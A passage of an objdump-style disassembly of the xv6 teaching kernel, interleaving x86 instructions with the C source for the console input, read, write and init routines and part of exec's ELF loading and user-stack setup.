80100851: a1 5c 18 11 80 mov 0x8011185c,%eax
80100856: 83 e8 01 sub $0x1,%eax
80100859: a3 5c 18 11 80 mov %eax,0x8011185c
consputc(BACKSPACE);
8010085e: c7 04 24 00 01 00 00 movl $0x100,(%esp)
80100865: e8 e6 fe ff ff call 80100750 <consputc>
}
break;
8010086a: e9 92 00 00 00 jmp 80100901 <consoleintr+0x154>
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
8010086f: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80100873: 0f 84 8b 00 00 00 je 80100904 <consoleintr+0x157>
80100879: 8b 15 5c 18 11 80 mov 0x8011185c,%edx
8010087f: a1 54 18 11 80 mov 0x80111854,%eax
80100884: 89 d1 mov %edx,%ecx
80100886: 29 c1 sub %eax,%ecx
80100888: 89 c8 mov %ecx,%eax
8010088a: 83 f8 7f cmp $0x7f,%eax
8010088d: 77 75 ja 80100904 <consoleintr+0x157>
c = (c == '\r') ? '\n' : c;
8010088f: 83 7d f4 0d cmpl $0xd,-0xc(%ebp)
80100893: 74 05 je 8010089a <consoleintr+0xed>
80100895: 8b 45 f4 mov -0xc(%ebp),%eax
80100898: eb 05 jmp 8010089f <consoleintr+0xf2>
8010089a: b8 0a 00 00 00 mov $0xa,%eax
8010089f: 89 45 f4 mov %eax,-0xc(%ebp)
input.buf[input.e++ % INPUT_BUF] = c;
801008a2: a1 5c 18 11 80 mov 0x8011185c,%eax
801008a7: 89 c1 mov %eax,%ecx
801008a9: 83 e1 7f and $0x7f,%ecx
801008ac: 8b 55 f4 mov -0xc(%ebp),%edx
801008af: 88 91 d4 17 11 80 mov %dl,-0x7feee82c(%ecx)
801008b5: 83 c0 01 add $0x1,%eax
801008b8: a3 5c 18 11 80 mov %eax,0x8011185c
consputc(c);
801008bd: 8b 45 f4 mov -0xc(%ebp),%eax
801008c0: 89 04 24 mov %eax,(%esp)
801008c3: e8 88 fe ff ff call 80100750 <consputc>
if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){
801008c8: 83 7d f4 0a cmpl $0xa,-0xc(%ebp)
801008cc: 74 18 je 801008e6 <consoleintr+0x139>
801008ce: 83 7d f4 04 cmpl $0x4,-0xc(%ebp)
801008d2: 74 12 je 801008e6 <consoleintr+0x139>
801008d4: a1 5c 18 11 80 mov 0x8011185c,%eax
801008d9: 8b 15 54 18 11 80 mov 0x80111854,%edx
801008df: 83 ea 80 sub $0xffffff80,%edx
801008e2: 39 d0 cmp %edx,%eax
801008e4: 75 1e jne 80100904 <consoleintr+0x157>
input.w = input.e;
801008e6: a1 5c 18 11 80 mov 0x8011185c,%eax
801008eb: a3 58 18 11 80 mov %eax,0x80111858
wakeup(&input.r);
801008f0: c7 04 24 54 18 11 80 movl $0x80111854,(%esp)
801008f7: e8 07 48 00 00 call 80105103 <wakeup>
}
}
break;
801008fc: eb 06 jmp 80100904 <consoleintr+0x157>
while(input.e != input.w &&
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
input.e--;
consputc(BACKSPACE);
}
break;
801008fe: 90 nop
801008ff: eb 04 jmp 80100905 <consoleintr+0x158>
case C('H'): case '\x7f': // Backspace
if(input.e != input.w){
input.e--;
consputc(BACKSPACE);
}
break;
80100901: 90 nop
80100902: eb 01 jmp 80100905 <consoleintr+0x158>
if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){
input.w = input.e;
wakeup(&input.r);
}
}
break;
80100904: 90 nop
consoleintr(int (*getc)(void))
{
int c;
acquire(&input.lock);
while((c = getc()) >= 0){
80100905: 8b 45 08 mov 0x8(%ebp),%eax
80100908: ff d0 call *%eax
8010090a: 89 45 f4 mov %eax,-0xc(%ebp)
8010090d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80100911: 0f 89 ad fe ff ff jns 801007c4 <consoleintr+0x17>
}
}
break;
}
}
release(&input.lock);
80100917: c7 04 24 a0 17 11 80 movl $0x801117a0,(%esp)
8010091e: e8 4e 4a 00 00 call 80105371 <release>
}
80100923: c9 leave
80100924: c3 ret
80100925 <consoleread>:
int
consoleread(struct inode *ip, char *dst, int n)
{
80100925: 55 push %ebp
80100926: 89 e5 mov %esp,%ebp
80100928: 83 ec 28 sub $0x28,%esp
uint target;
int c;
iunlock(ip);
8010092b: 8b 45 08 mov 0x8(%ebp),%eax
8010092e: 89 04 24 mov %eax,(%esp)
80100931: e8 8c 10 00 00 call 801019c2 <iunlock>
target = n;
80100936: 8b 45 10 mov 0x10(%ebp),%eax
80100939: 89 45 f4 mov %eax,-0xc(%ebp)
acquire(&input.lock);
8010093c: c7 04 24 a0 17 11 80 movl $0x801117a0,(%esp)
80100943: e8 c7 49 00 00 call 8010530f <acquire>
while(n > 0){
80100948: e9 a8 00 00 00 jmp 801009f5 <consoleread+0xd0>
while(input.r == input.w){
if(proc->killed){
8010094d: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100953: 8b 40 24 mov 0x24(%eax),%eax
80100956: 85 c0 test %eax,%eax
80100958: 74 21 je 8010097b <consoleread+0x56>
release(&input.lock);
8010095a: c7 04 24 a0 17 11 80 movl $0x801117a0,(%esp)
80100961: e8 0b 4a 00 00 call 80105371 <release>
ilock(ip);
80100966: 8b 45 08 mov 0x8(%ebp),%eax
80100969: 89 04 24 mov %eax,(%esp)
8010096c: e8 03 0f 00 00 call 80101874 <ilock>
return -1;
80100971: b8 ff ff ff ff mov $0xffffffff,%eax
80100976: e9 a9 00 00 00 jmp 80100a24 <consoleread+0xff>
}
sleep(&input.r, &input.lock);
8010097b: c7 44 24 04 a0 17 11 movl $0x801117a0,0x4(%esp)
80100982: 80
80100983: c7 04 24 54 18 11 80 movl $0x80111854,(%esp)
8010098a: e8 98 46 00 00 call 80105027 <sleep>
8010098f: eb 01 jmp 80100992 <consoleread+0x6d>
iunlock(ip);
target = n;
acquire(&input.lock);
while(n > 0){
while(input.r == input.w){
80100991: 90 nop
80100992: 8b 15 54 18 11 80 mov 0x80111854,%edx
80100998: a1 58 18 11 80 mov 0x80111858,%eax
8010099d: 39 c2 cmp %eax,%edx
8010099f: 74 ac je 8010094d <consoleread+0x28>
ilock(ip);
return -1;
}
sleep(&input.r, &input.lock);
}
c = input.buf[input.r++ % INPUT_BUF];
801009a1: a1 54 18 11 80 mov 0x80111854,%eax
801009a6: 89 c2 mov %eax,%edx
801009a8: 83 e2 7f and $0x7f,%edx
801009ab: 0f b6 92 d4 17 11 80 movzbl -0x7feee82c(%edx),%edx
801009b2: 0f be d2 movsbl %dl,%edx
801009b5: 89 55 f0 mov %edx,-0x10(%ebp)
801009b8: 83 c0 01 add $0x1,%eax
801009bb: a3 54 18 11 80 mov %eax,0x80111854
if(c == C('D')){ // EOF
801009c0: 83 7d f0 04 cmpl $0x4,-0x10(%ebp)
801009c4: 75 17 jne 801009dd <consoleread+0xb8>
if(n < target){
801009c6: 8b 45 10 mov 0x10(%ebp),%eax
801009c9: 3b 45 f4 cmp -0xc(%ebp),%eax
801009cc: 73 2f jae 801009fd <consoleread+0xd8>
// Save ^D for next time, to make sure
// caller gets a 0-byte result.
input.r--;
801009ce: a1 54 18 11 80 mov 0x80111854,%eax
801009d3: 83 e8 01 sub $0x1,%eax
801009d6: a3 54 18 11 80 mov %eax,0x80111854
}
break;
801009db: eb 20 jmp 801009fd <consoleread+0xd8>
}
*dst++ = c;
801009dd: 8b 45 f0 mov -0x10(%ebp),%eax
801009e0: 89 c2 mov %eax,%edx
801009e2: 8b 45 0c mov 0xc(%ebp),%eax
801009e5: 88 10 mov %dl,(%eax)
801009e7: 83 45 0c 01 addl $0x1,0xc(%ebp)
--n;
801009eb: 83 6d 10 01 subl $0x1,0x10(%ebp)
if(c == '\n')
801009ef: 83 7d f0 0a cmpl $0xa,-0x10(%ebp)
801009f3: 74 0b je 80100a00 <consoleread+0xdb>
int c;
iunlock(ip);
target = n;
acquire(&input.lock);
while(n > 0){
801009f5: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
801009f9: 7f 96 jg 80100991 <consoleread+0x6c>
801009fb: eb 04 jmp 80100a01 <consoleread+0xdc>
if(n < target){
// Save ^D for next time, to make sure
// caller gets a 0-byte result.
input.r--;
}
break;
801009fd: 90 nop
801009fe: eb 01 jmp 80100a01 <consoleread+0xdc>
}
*dst++ = c;
--n;
if(c == '\n')
break;
80100a00: 90 nop
}
release(&input.lock);
80100a01: c7 04 24 a0 17 11 80 movl $0x801117a0,(%esp)
80100a08: e8 64 49 00 00 call 80105371 <release>
ilock(ip);
80100a0d: 8b 45 08 mov 0x8(%ebp),%eax
80100a10: 89 04 24 mov %eax,(%esp)
80100a13: e8 5c 0e 00 00 call 80101874 <ilock>
return target - n;
80100a18: 8b 45 10 mov 0x10(%ebp),%eax
80100a1b: 8b 55 f4 mov -0xc(%ebp),%edx
80100a1e: 89 d1 mov %edx,%ecx
80100a20: 29 c1 sub %eax,%ecx
80100a22: 89 c8 mov %ecx,%eax
}
80100a24: c9 leave
80100a25: c3 ret
80100a26 <consolewrite>:
int
consolewrite(struct inode *ip, char *buf, int n)
{
80100a26: 55 push %ebp
80100a27: 89 e5 mov %esp,%ebp
80100a29: 83 ec 28 sub $0x28,%esp
int i;
iunlock(ip);
80100a2c: 8b 45 08 mov 0x8(%ebp),%eax
80100a2f: 89 04 24 mov %eax,(%esp)
80100a32: e8 8b 0f 00 00 call 801019c2 <iunlock>
acquire(&cons.lock);
80100a37: c7 04 24 e0 c5 10 80 movl $0x8010c5e0,(%esp)
80100a3e: e8 cc 48 00 00 call 8010530f <acquire>
for(i = 0; i < n; i++)
80100a43: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80100a4a: eb 1d jmp 80100a69 <consolewrite+0x43>
consputc(buf[i] & 0xff);
80100a4c: 8b 45 f4 mov -0xc(%ebp),%eax
80100a4f: 03 45 0c add 0xc(%ebp),%eax
80100a52: 0f b6 00 movzbl (%eax),%eax
80100a55: 0f be c0 movsbl %al,%eax
80100a58: 25 ff 00 00 00 and $0xff,%eax
80100a5d: 89 04 24 mov %eax,(%esp)
80100a60: e8 eb fc ff ff call 80100750 <consputc>
{
int i;
iunlock(ip);
acquire(&cons.lock);
for(i = 0; i < n; i++)
80100a65: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80100a69: 8b 45 f4 mov -0xc(%ebp),%eax
80100a6c: 3b 45 10 cmp 0x10(%ebp),%eax
80100a6f: 7c db jl 80100a4c <consolewrite+0x26>
consputc(buf[i] & 0xff);
release(&cons.lock);
80100a71: c7 04 24 e0 c5 10 80 movl $0x8010c5e0,(%esp)
80100a78: e8 f4 48 00 00 call 80105371 <release>
ilock(ip);
80100a7d: 8b 45 08 mov 0x8(%ebp),%eax
80100a80: 89 04 24 mov %eax,(%esp)
80100a83: e8 ec 0d 00 00 call 80101874 <ilock>
return n;
80100a88: 8b 45 10 mov 0x10(%ebp),%eax
}
80100a8b: c9 leave
80100a8c: c3 ret
80100a8d <consoleinit>:
void
consoleinit(void)
{
80100a8d: 55 push %ebp
80100a8e: 89 e5 mov %esp,%ebp
80100a90: 83 ec 18 sub $0x18,%esp
initlock(&cons.lock, "console");
80100a93: c7 44 24 04 87 8a 10 movl $0x80108a87,0x4(%esp)
80100a9a: 80
80100a9b: c7 04 24 e0 c5 10 80 movl $0x8010c5e0,(%esp)
80100aa2: e8 47 48 00 00 call 801052ee <initlock>
initlock(&input.lock, "input");
80100aa7: c7 44 24 04 8f 8a 10 movl $0x80108a8f,0x4(%esp)
80100aae: 80
80100aaf: c7 04 24 a0 17 11 80 movl $0x801117a0,(%esp)
80100ab6: e8 33 48 00 00 call 801052ee <initlock>
devsw[CONSOLE].write = consolewrite;
80100abb: c7 05 0c 22 11 80 26 movl $0x80100a26,0x8011220c
80100ac2: 0a 10 80
devsw[CONSOLE].read = consoleread;
80100ac5: c7 05 08 22 11 80 25 movl $0x80100925,0x80112208
80100acc: 09 10 80
cons.locking = 1;
80100acf: c7 05 14 c6 10 80 01 movl $0x1,0x8010c614
80100ad6: 00 00 00
picenable(IRQ_KBD);
80100ad9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80100ae0: e8 1c 33 00 00 call 80103e01 <picenable>
ioapicenable(IRQ_KBD, 0);
80100ae5: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80100aec: 00
80100aed: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80100af4: e8 89 1e 00 00 call 80102982 <ioapicenable>
}
80100af9: c9 leave
80100afa: c3 ret
...
80100afc <exec>:
#include "x86.h"
#include "elf.h"
int
exec(char *path, char **argv)
{
80100afc: 55 push %ebp
80100afd: 89 e5 mov %esp,%ebp
80100aff: 81 ec 38 01 00 00 sub $0x138,%esp
struct elfhdr elf;
struct inode *ip;
struct proghdr ph;
pde_t *pgdir, *oldpgdir;
begin_op();
80100b05: e8 57 29 00 00 call 80103461 <begin_op>
if((ip = namei(path)) == 0){
80100b0a: 8b 45 08 mov 0x8(%ebp),%eax
80100b0d: 89 04 24 mov %eax,(%esp)
80100b10: e8 01 19 00 00 call 80102416 <namei>
80100b15: 89 45 d8 mov %eax,-0x28(%ebp)
80100b18: 83 7d d8 00 cmpl $0x0,-0x28(%ebp)
80100b1c: 75 0f jne 80100b2d <exec+0x31>
end_op();
80100b1e: e8 bf 29 00 00 call 801034e2 <end_op>
return -1;
80100b23: b8 ff ff ff ff mov $0xffffffff,%eax
80100b28: e9 dd 03 00 00 jmp 80100f0a <exec+0x40e>
}
ilock(ip);
80100b2d: 8b 45 d8 mov -0x28(%ebp),%eax
80100b30: 89 04 24 mov %eax,(%esp)
80100b33: e8 3c 0d 00 00 call 80101874 <ilock>
pgdir = 0;
80100b38: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) < sizeof(elf))
80100b3f: c7 44 24 0c 34 00 00 movl $0x34,0xc(%esp)
80100b46: 00
80100b47: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80100b4e: 00
80100b4f: 8d 85 0c ff ff ff lea -0xf4(%ebp),%eax
80100b55: 89 44 24 04 mov %eax,0x4(%esp)
80100b59: 8b 45 d8 mov -0x28(%ebp),%eax
80100b5c: 89 04 24 mov %eax,(%esp)
80100b5f: e8 06 12 00 00 call 80101d6a <readi>
80100b64: 83 f8 33 cmp $0x33,%eax
80100b67: 0f 86 52 03 00 00 jbe 80100ebf <exec+0x3c3>
goto bad;
if(elf.magic != ELF_MAGIC)
80100b6d: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax
80100b73: 3d 7f 45 4c 46 cmp $0x464c457f,%eax
80100b78: 0f 85 44 03 00 00 jne 80100ec2 <exec+0x3c6>
goto bad;
if((pgdir = setupkvm()) == 0)
80100b7e: e8 4e 76 00 00 call 801081d1 <setupkvm>
80100b83: 89 45 d4 mov %eax,-0x2c(%ebp)
80100b86: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
80100b8a: 0f 84 35 03 00 00 je 80100ec5 <exec+0x3c9>
goto bad;
// Load program into memory.
sz = 0;
80100b90: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp)
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100b97: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
80100b9e: 8b 85 28 ff ff ff mov -0xd8(%ebp),%eax
80100ba4: 89 45 e8 mov %eax,-0x18(%ebp)
80100ba7: e9 c5 00 00 00 jmp 80100c71 <exec+0x175>
if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph))
80100bac: 8b 45 e8 mov -0x18(%ebp),%eax
80100baf: c7 44 24 0c 20 00 00 movl $0x20,0xc(%esp)
80100bb6: 00
80100bb7: 89 44 24 08 mov %eax,0x8(%esp)
80100bbb: 8d 85 ec fe ff ff lea -0x114(%ebp),%eax
80100bc1: 89 44 24 04 mov %eax,0x4(%esp)
80100bc5: 8b 45 d8 mov -0x28(%ebp),%eax
80100bc8: 89 04 24 mov %eax,(%esp)
80100bcb: e8 9a 11 00 00 call 80101d6a <readi>
80100bd0: 83 f8 20 cmp $0x20,%eax
80100bd3: 0f 85 ef 02 00 00 jne 80100ec8 <exec+0x3cc>
goto bad;
if(ph.type != ELF_PROG_LOAD)
80100bd9: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax
80100bdf: 83 f8 01 cmp $0x1,%eax
80100be2: 75 7f jne 80100c63 <exec+0x167>
continue;
if(ph.memsz < ph.filesz)
80100be4: 8b 95 00 ff ff ff mov -0x100(%ebp),%edx
80100bea: 8b 85 fc fe ff ff mov -0x104(%ebp),%eax
80100bf0: 39 c2 cmp %eax,%edx
80100bf2: 0f 82 d3 02 00 00 jb 80100ecb <exec+0x3cf>
goto bad;
if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0)
80100bf8: 8b 95 f4 fe ff ff mov -0x10c(%ebp),%edx
80100bfe: 8b 85 00 ff ff ff mov -0x100(%ebp),%eax
80100c04: 01 d0 add %edx,%eax
80100c06: 89 44 24 08 mov %eax,0x8(%esp)
80100c0a: 8b 45 e0 mov -0x20(%ebp),%eax
80100c0d: 89 44 24 04 mov %eax,0x4(%esp)
80100c11: 8b 45 d4 mov -0x2c(%ebp),%eax
80100c14: 89 04 24 mov %eax,(%esp)
80100c17: e8 87 79 00 00 call 801085a3 <allocuvm>
80100c1c: 89 45 e0 mov %eax,-0x20(%ebp)
80100c1f: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
80100c23: 0f 84 a5 02 00 00 je 80100ece <exec+0x3d2>
goto bad;
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
80100c29: 8b 8d fc fe ff ff mov -0x104(%ebp),%ecx
80100c2f: 8b 95 f0 fe ff ff mov -0x110(%ebp),%edx
80100c35: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100c3b: 89 4c 24 10 mov %ecx,0x10(%esp)
80100c3f: 89 54 24 0c mov %edx,0xc(%esp)
80100c43: 8b 55 d8 mov -0x28(%ebp),%edx
80100c46: 89 54 24 08 mov %edx,0x8(%esp)
80100c4a: 89 44 24 04 mov %eax,0x4(%esp)
80100c4e: 8b 45 d4 mov -0x2c(%ebp),%eax
80100c51: 89 04 24 mov %eax,(%esp)
80100c54: e8 5b 78 00 00 call 801084b4 <loaduvm>
80100c59: 85 c0 test %eax,%eax
80100c5b: 0f 88 70 02 00 00 js 80100ed1 <exec+0x3d5>
80100c61: eb 01 jmp 80100c64 <exec+0x168>
sz = 0;
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph))
goto bad;
if(ph.type != ELF_PROG_LOAD)
continue;
80100c63: 90 nop
if((pgdir = setupkvm()) == 0)
goto bad;
// Load program into memory.
sz = 0;
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100c64: 83 45 ec 01 addl $0x1,-0x14(%ebp)
80100c68: 8b 45 e8 mov -0x18(%ebp),%eax
80100c6b: 83 c0 20 add $0x20,%eax
80100c6e: 89 45 e8 mov %eax,-0x18(%ebp)
80100c71: 0f b7 85 38 ff ff ff movzwl -0xc8(%ebp),%eax
80100c78: 0f b7 c0 movzwl %ax,%eax
80100c7b: 3b 45 ec cmp -0x14(%ebp),%eax
80100c7e: 0f 8f 28 ff ff ff jg 80100bac <exec+0xb0>
if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0)
goto bad;
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
goto bad;
}
iunlockput(ip);
80100c84: 8b 45 d8 mov -0x28(%ebp),%eax
80100c87: 89 04 24 mov %eax,(%esp)
80100c8a: e8 69 0e 00 00 call 80101af8 <iunlockput>
end_op();
80100c8f: e8 4e 28 00 00 call 801034e2 <end_op>
ip = 0;
80100c94: c7 45 d8 00 00 00 00 movl $0x0,-0x28(%ebp)
// Allocate two pages at the next page boundary.
// Make the first inaccessible. Use the second as the user stack.
sz = PGROUNDUP(sz);
80100c9b: 8b 45 e0 mov -0x20(%ebp),%eax
80100c9e: 05 ff 0f 00 00 add $0xfff,%eax
80100ca3: 25 00 f0 ff ff and $0xfffff000,%eax
80100ca8: 89 45 e0 mov %eax,-0x20(%ebp)
if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0)
80100cab: 8b 45 e0 mov -0x20(%ebp),%eax
80100cae: 05 00 20 00 00 add $0x2000,%eax
80100cb3: 89 44 24 08 mov %eax,0x8(%esp)
80100cb7: 8b 45 e0 mov -0x20(%ebp),%eax
80100cba: 89 44 24 04 mov %eax,0x4(%esp)
80100cbe: 8b 45 d4 mov -0x2c(%ebp),%eax
80100cc1: 89 04 24 mov %eax,(%esp)
80100cc4: e8 da 78 00 00 call 801085a3 <allocuvm>
80100cc9: 89 45 e0 mov %eax,-0x20(%ebp)
80100ccc: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
80100cd0: 0f 84 fe 01 00 00 je 80100ed4 <exec+0x3d8>
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
80100cd6: 8b 45 e0 mov -0x20(%ebp),%eax
80100cd9: 2d 00 20 00 00 sub $0x2000,%eax
80100cde: 89 44 24 04 mov %eax,0x4(%esp)
80100ce2: 8b 45 d4 mov -0x2c(%ebp),%eax
80100ce5: 89 04 24 mov %eax,(%esp)
80100ce8: e8 da 7a 00 00 call 801087c7 <clearpteu>
sp = sz;
80100ced: 8b 45 e0 mov -0x20(%ebp),%eax
80100cf0: 89 45 dc mov %eax,-0x24(%ebp)
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100cf3: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
80100cfa: e9 81 00 00 00 jmp 80100d80 <exec+0x284>
if(argc >= MAXARG)
80100cff: 83 7d e4 1f cmpl $0x1f,-0x1c(%ebp)
80100d03: 0f 87 ce 01 00 00 ja 80100ed7 <exec+0x3db>
goto bad;
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100d09: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d0c: c1 e0 02 shl $0x2,%eax
80100d0f: 03 45 0c add 0xc(%ebp),%eax
80100d12: 8b 00 mov (%eax),%eax
80100d14: 89 04 24 mov %eax,(%esp)
80100d17: e8 c0 4a 00 00 call 801057dc <strlen>
80100d1c: f7 d0 not %eax
80100d1e: 03 45 dc add -0x24(%ebp),%eax
80100d21: 83 e0 fc and $0xfffffffc,%eax
80100d24: 89 45 dc mov %eax,-0x24(%ebp)
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100d27: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d2a: c1 e0 02 shl $0x2,%eax
80100d2d: 03 45 0c add 0xc(%ebp),%eax
80100d30: 8b 00 mov (%eax),%eax
80100d32: 89 04 24 mov %eax,(%esp)
80100d35: e8 a2 4a 00 00 call 801057dc <strlen>
80100d3a: 83 c0 01 add $0x1,%eax
80100d3d: 89 c2 mov %eax,%edx
80100d3f: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d42: c1 e0 02 shl $0x2,%eax
80100d45: 03 45 0c add 0xc(%ebp),%eax
80100d48: 8b 00 mov (%eax),%eax
80100d4a: 89 54 24 0c mov %edx,0xc(%esp)
80100d4e: 89 44 24 08 mov %eax,0x8(%esp)
80100d52: 8b 45 dc mov -0x24(%ebp),%eax
80100d55: 89 44 24 04 mov %eax,0x4(%esp)
80100d59: 8b 45 d4 mov -0x2c(%ebp),%eax
80100d5c: 89 04 24 mov %eax,(%esp)
80100d5f: e8 28 7c 00 00 call 8010898c <copyout>
80100d64: 85 c0 test %eax,%eax
80100d66: 0f 88 6e 01 00 00 js 80100eda <exec+0x3de>
goto bad;
ustack[3+argc] = sp;
80100d6c: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d6f: 8d 50 03 lea 0x3(%eax),%edx
80100d72: 8b 45 dc mov -0x24(%ebp),%eax
80100d75: 89 84 95 40 ff ff ff mov %eax,-0xc0(%ebp,%edx,4)
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100d7c: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
80100d80: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d83: c1 e0 02 shl $0x2,%eax
80100d86: 03 45 0c add 0xc(%ebp),%eax
80100d89: 8b 00 mov (%eax),%eax
80100d8b: 85 c0 test %eax,%eax
80100d8d: 0f 85 6c ff ff ff jne 80100cff <exec+0x203>
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
goto bad;
ustack[3+argc] = sp;
}
ustack[3+argc] = 0;
80100d93: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d96: 83 c0 03 add $0x3,%eax
80100d99: c7 84 85 40 ff ff ff movl $0x0,-0xc0(%ebp,%eax,4)
80100da0: 00 00 00 00
ustack[0] = 0xffffffff; // fake return PC
80100da4: c7 85 40 ff ff ff ff movl $0xffffffff,-0xc0(%ebp)
80100dab: ff ff ff
ustack[1] = argc;
80100dae: 8b 45 e4 mov -0x1c(%ebp),%eax
80100db1: 89 85 44 ff ff ff mov %eax,-0xbc(%ebp)
ustack[2] = sp - (argc+1)*4; // argv pointer
80100db7: 8b 45 e4 mov -0x1c(%ebp),%eax
80100dba: 83 c0 01 add $0x1,%eax
80100dbd: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80100dc4: 8b 45 dc mov -0x24(%ebp),%eax
80100dc7: 29 d0 sub %edx,%eax
80100dc9: 89 85 48 ff ff ff mov %eax,-0xb8(%ebp)
sp -= (3+argc+1) * 4;
80100dcf: 8b 45 e4 mov -0x1c(%ebp),%eax
80100dd2: 83 c0 04 add $0x4,%eax
80100dd5: c1 e0 02 shl $0x2,%eax
80100dd8: 29 45 dc sub %eax,-0x24(%ebp)
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100ddb: 8b 45 e4 mov -0x1c(%ebp),%eax
80100dde: 83 c0 04 add $0x4,%eax
80100de1: c1 e0 02 shl $0x2,%eax
80100de4: 89 44 24 0c mov %eax,0xc(%esp)
80100de8: 8d 85 40 ff ff ff lea -0xc0(%ebp),%eax
80100dee: 89 44 24 08 mov %eax,0x8(%esp)
80100df2: 8b 45 dc mov -0x24(%ebp),%eax
80100df5: 89 44 24 04 mov %eax,0x4(%esp)
80100df9: 8b 45 d4 mov -0x2c(%ebp),%eax
80100dfc: 89 04 24 mov %eax,(%esp)
80100dff: e8 88 7b 00 00 call 8010898c <copyout>
80100e04: 85 c0 test %eax,%eax
80100e06: 0f 88 d1 00 00 00 js 80100edd <exec+0x3e1>
goto bad;
// Save program name for debugging.
for(last=s=path; *s; s++)
80100e0c: 8b 45 08 mov 0x8(%ebp),%eax
80100e0f: 89 45 f4 mov %eax,-0xc(%ebp)
80100e12: 8b 45 f4 mov -0xc(%ebp),%eax
80100e15: 89 45 f0 mov %eax,-0x10(%ebp)
80100e18: eb 17 jmp 80100e31 <exec+0x335>
if(*s == '/')
80100e1a: 8b 45 f4 mov -0xc(%ebp),%eax
80100e1d: 0f b6 00 movzbl (%eax),%eax
80100e20: 3c 2f cmp $0x2f,%al
80100e22: 75 09 jne 80100e2d <exec+0x331>
last = s+1;
80100e24: 8b 45 f4 mov -0xc(%ebp),%eax
80100e27: 83 c0 01 add $0x1,%eax
80100e2a: 89 45 f0 mov %eax,-0x10(%ebp)
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
goto bad;
// Save program name for debugging.
for(last=s=path; *s; s++)
80100e2d: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80100e31: 8b 45 f4 mov -0xc(%ebp),%eax
80100e34: 0f b6 00 movzbl (%eax),%eax
80100e37: 84 c0 test %al,%al
80100e39: 75 df jne 80100e1a <exec+0x31e>
if(*s == '/')
last = s+1;
safestrcpy(proc->name, last, sizeof(proc->name));
80100e3b: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100e41: 8d 50 6c lea 0x6c(%eax),%edx
80100e44: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80100e4b: 00
80100e4c: 8b 45 f0 mov -0x10(%ebp),%eax
80100e4f: 89 44 24 04 mov %eax,0x4(%esp)
80100e53: 89 14 24 mov %edx,(%esp)
80100e56: e8 33 49 00 00 call 8010578e <safestrcpy>
// Commit to the user image.
oldpgdir = proc->pgdir;
80100e5b: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100e61: 8b 40 04 mov 0x4(%eax),%eax
80100e64: 89 45 d0 mov %eax,-0x30(%ebp)
proc->pgdir = pgdir;
80100e67: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100e6d: 8b 55 d4 mov -0x2c(%ebp),%edx
80100e70: 89 50 04 mov %edx,0x4(%eax)
proc->sz = sz;
80100e73: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100e79: 8b 55 e0 mov -0x20(%ebp),%edx
80100e7c: 89 10 mov %edx,(%eax)
proc->tf->eip = elf.entry; // main
80100e7e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100e84: 8b 40 18 mov 0x18(%eax),%eax
80100e87: 8b 95 24 ff ff ff mov -0xdc(%ebp),%edx
80100e8d: 89 50 38 mov %edx,0x38(%eax)
proc->tf->esp = sp;
